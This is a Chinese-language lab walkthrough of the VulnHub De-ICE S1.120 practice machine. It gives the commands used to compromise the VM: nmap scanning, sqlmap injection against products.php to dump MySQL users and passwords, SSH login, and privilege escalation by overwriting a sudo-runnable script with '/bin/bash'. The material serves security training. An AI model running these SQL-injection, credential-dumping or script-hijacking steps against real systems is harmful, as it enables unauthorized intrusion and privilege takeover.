一、靶机下载地址
https://www.vulnhub.com/entry/de-ice-s1120,10/
二、信息收集
1、主机发现(将攻击机和靶机都设置为仅主机模式)
# 使用命令
# nmap 192.168.1.0/24 -sn | grep -B 2 '00:0C:29:AB:64:6F'
2、端口扫描
# 使用命令
# nmap 192.168.1.120 -p- -A
三、获取shell和提权
1、访问靶机ip地址
2、点击“添加产品”选项,进入到如下界面
3、在输入框中输入内容并点击提交按钮
4、点击“查看产品”选项,出现如下界面,选择产品1然后再点击提交按钮,出现http://192.168.1.120/products.php?id=1
5、使用sqlmap工具对http://192.168.1.120/products.php?id=1进行测试发现sql注入漏洞
# 使用命令
# python3 sqlmap.py -u "http://192.168.1.120/products.php?id=1" --batch
6、获取数据库名
# 使用命令
# python3 sqlmap.py -u "http://192.168.1.120/products.php?id=1" --dbs --batch
7、查看用户名和密码信息
# 使用命令
# python3 sqlmap.py -u "http://192.168.1.120/products.php?id=1" -D mysql --users --passwords --batch
8、使用ccoffee用户进行ssh远程连接
# 使用命令
# ssh ccoffee@192.168.1.120
9、运行以下命令来枚举具有 SUID 权限的所有二进制文件
# 使用命令
# find / -perm -u=s -type f 2>/dev/null
10、从截图中可以看出,在列出的所有用户中,用户 ccoffee
为位于路径 /home/ccoffee/scripts/getlogs.sh
命令启用了 SUID 位,这意味着我们可以执行 getlogs.sh
命令内的任何命令
11、切换到/home/ccoffee/scripts/目录下
# 使用命令
# cd /home/ccoffee/scripts/
12、将 getlogs.sh
移动到 getlogs.sh.bak
,然后使用以下代码创建一个新的 getlogs.sh
文件以生成 shell
# 使用命令
# mv getlogs.sh getlogs.sh.bak
# echo "/bin/bash" > getlogs.sh
# chmod 777 getlogs.sh
13、使用 sudo
执行getlogs.sh
文件
# 使用命令
# sudo /home/ccoffee/scripts/getlogs.sh
14、执行whoami
和id
命令发现提权成功
# 使用命令
# id
# whoami